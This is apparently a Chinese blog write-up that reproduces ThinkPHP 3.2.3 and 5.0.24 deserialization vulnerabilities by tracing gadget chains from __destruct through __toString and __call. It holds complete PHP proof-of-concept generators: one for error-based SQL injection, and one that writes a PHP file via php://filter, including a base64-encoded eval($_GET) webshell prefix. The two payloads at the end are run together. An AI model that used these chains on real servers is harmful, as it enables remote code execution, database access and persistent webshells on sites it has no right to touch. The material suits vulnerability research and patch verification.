THINKPHP反序列化漏洞复现
3.2.3
先找__destruct函数
在imagick.class.php发现可以利用的destory函数


img是我们可控的,所以我们可以调用所以类中的destory函数,再全局找destroy函数

同样这里的handle也是可控的,我们可以调用全局的delete方法,再去找delete方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public function delete($options=array()){ $pk = $this->pk; if(empty($options) && empty($this->options['where'])) { if(!empty($this->data) && isset($this->data[$pk])) return $this->delete($this->data[$pk]); else return false; } if(is_numeric($options) || is_string($options)) { if(strpos($options,',')) { $where[$pk] = array('IN', $options); }else{ $where[$pk] = $options; } $options = array(); $options['where'] = $where; } $options['join'] = ''; $options = $this->_parseOptions($options); if(empty($options['where'])){ return false; } if(is_array($options['where']) && isset($options['where'][$pk])){ $pkValue = $options['where'][$pk]; } $options['table'] = implode(',',$this->modelList); $options['using'] = $this->getTableName(); if(false === $this->_before_delete($options)) { return false; } $result = $this->db->delete($options); if(false !== $result) { $data = array(); if(isset($pkValue)) $data[$pk] = $pkValue; $this->_after_delete($data,$options); } return $result; }
|
这里要求option[where]要等于1=1,并且会去调用db中的delete,而且db是可控的

可以利用这个执行sql语句进行sql注入
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| <?php namespace Think\Image\Driver{ use Think\Session\Driver\Memcache; class Imagick{ private $img; public function __construct(){ $this->img = new Memcache();
} } }
namespace Think\Session\Driver{ use Think\Model;
class Memcache { protected $handle; public function __construct(){ $this->handle = new Model();
} }
}
namespace Think{ use Think\Db\Driver\Mysql; class Model { protected $data=array(); protected $pk; protected $options=array(); protected $db=null;
public function __construct() { $this->db = new Mysql(); $this->options['where'] = ''; $this->pk = 'id'; $this->data[$this->pk] = array( 'where'=>'1=1', 'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
} } }
|

sql报错说明能执行sql语句
5.0.24
同样先找_destruct

调用了close和removeFiles两个方法

close没什么用
看看removefiles

可以用file_exists函数触发__tostring,接下来是找tostring函数

tostring会调用tojson方法,我们跟进

有个toarray,我们继续跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74
| public function toArray() { $item = []; $visible = []; $hidden = [];
$data = array_merge($this->data, $this->relation);
if (!empty($this->visible)) { $array = $this->parseAttr($this->visible, $visible); $data = array_intersect_key($data, array_flip($array)); } elseif (!empty($this->hidden)) { $array = $this->parseAttr($this->hidden, $hidden, false); $data = array_diff_key($data, array_flip($array)); }
foreach ($data as $key => $val) { if ($val instanceof Model || $val instanceof ModelCollection) { $item[$key] = $this->subToArray($val, $visible, $hidden, $key); } elseif (is_array($val) && reset($val) instanceof Model) { $arr = []; foreach ($val as $k => $value) { $arr[$k] = $this->subToArray($value, $visible, $hidden, $key); } $item[$key] = $arr; } else { $item[$key] = $this->getAttr($key); } } if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getAttr($key); $item[$key] = $relation->append($name)->toArray(); } elseif (strpos($name, '.')) { list($key, $attr) = explode('.', $name); $relation = $this->getAttr($key); $item[$key] = $relation->append([$attr])->toArray(); } else { $relation = Loader::parseName($name, 1, false); if (method_exists($this, $relation)) { $modelRelation = $this->$relation(); $value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) { $bindAttr = $modelRelation->getBindAttr(); if ($bindAttr) { foreach ($bindAttr as $key => $attr) { $key = is_numeric($key) ? $attr : $key; if (isset($this->data[$key])) { throw new Exception('bind attr has exists:' . $key); } else { $item[$key] = $value ? $value->getAttr($attr) : null; } } continue; } } $item[$name] = $value; } else { $item[$name] = $this->getAttr($name); } } } } return !empty($item) ? $item : []; }
|

这里$value是可控我们就可以去触发__call方法

这里会调用call_user_func_array方法
接下来就是怎么给value赋值

value是由getRelationData赋值的
跟进

在满足if条件的时候value的值由parent决定

可控

可控
参数是由relation方法决定的
我们跟进,relation可控设置成geterror

这样就都可控了
接下来就是过value的判断了

modelRelation要有getBindAttr函数


OneToOne类中存在bindattr方法,但是该类是一个抽象类,无法直接用,我们要找一个继承这个抽象类的类

接下来就是用的__call方法进行rce了,他调用了black方法,我们跟进

继续跟进writeln方法

继续跟进

handle可控,找可以rce的write方法

找set方法

我们可以写文件,如果data是可控的,我们就能rce,我们先跟进filename发现是getCacheKey赋值的,我们跟进getCacheKey

发现后缀是写死的,但是无所谓反正也是php,我们看看data是不是可控
发现data是由wtite的第二参数决定的,但是

被写死了,我们不能用
但是

我们跟进settagitem方法

发现又调用了一次set这次data可控
所以payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209
| <?php namespace think\process\pipes{ use think\Model\Pivot; class Windows{ private $files = []; public function __construct(){ $this->files[] = new Pivot(); } } }
namespace think{ use think\model\relation\HasOne; use think\console\Output; abstract class Model{ protected $append = []; protected $error; protected $parent; public function __construct(){ $this->append = [ 'ky' => 'getError' ]; $this->error = new HasOne(); $this->parent = new Output(); } } }
namespace think\model{ use think\Model; class Pivot extends Model{} }
namespace think\model\relation{ use think\db\Query; class HasOne{ protected $selfRelation; protected $query; protected $bindAttr = []; public function __construct(){ $this->selfRelation = false; $this->query = new Query(); $this->bindAttr = [ 'ky' => 'is a boy' ]; } } }
namespace think\db{ use think\console\Output; class Query{ protected $model; public function __construct(){ $this->model = new Output(); } } }
namespace think\console{ use think\session\driver\Memcached; class Output{ private $handle; protected $styles; public function __construct(){ $this->handle = new Memcached(); $this->styles = [ 'ky' => 'getAttr' ]; } } }
namespace think\session\driver{ use think\cache\driver\File; class Memcached{ protected $handler; protected $config = [ 'host' => '127.0.0.1', 'port' => 11211, 'expire' => 3600, 'timeout' => 0, 'session_name' => 'ky', 'username' => '', 'password' => '', ]; public function __construct(){ $this->handler = new File(); } } }
namespace think\cache\driver{
class File{ protected $options = []; protected $tag; public function __construct(){ $this->options = [ 'cache_subdir' => false, 'prefix' => "", 'path' => "php://filter/write=string.rot13/resource=./static/<?cuc cucvasb();?>", 'data_compress' => false, 'expire' => 0 ]; $this->tag = 'ky'; } } }
namespace { use think\process\pipes\Windows; echo base64_encode(serialize(new Windows())); }<?php namespace think\process\pipes; class Windows { private $files = []; public function __construct() { $this->files = [new \think\model\Merge]; } } namespace think\model; use think\Model; class Merge extends Model { protected $append = []; protected $error; public function __construct() { $this->append = [ 'bb' => 'getError' ]; $this->error = (new \think\model\relation\BelongsTo); } } namespace think; class Model{} namespace think\console; class Output { protected $styles = []; private $handle = null; public function __construct() { $this->styles = ['removeWhereField']; $this->handle = (new \think\session\driver\Memcache); } } namespace think\model\relation; class BelongsTo { protected $query; public function __construct() { $this->query = (new \think\console\Output); } } namespace think\session\driver; class Memcache { protected $handler = null; public function __construct() { $this->handler = (new \think\cache\driver\Memcached); } } namespace think\cache\driver; class File { protected $tag; protected $options = []; public function __construct() { $this->tag = false; $this->options = [ 'expire' => 3600, 'cache_subdir' => false, 'prefix' => '', 'data_compress' => false, 'path' => 'php://filter/convert.base64-decode/resource=./', ]; } } class Memcached { protected $tag; protected $options = []; protected $handler = null; public function __construct() { $this->tag = true; $this->options = [ 'expire' => 0, 'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4', ]; $this->handler = (new File); } } echo base64_encode(serialize(new \think\process\pipes\Windows));
|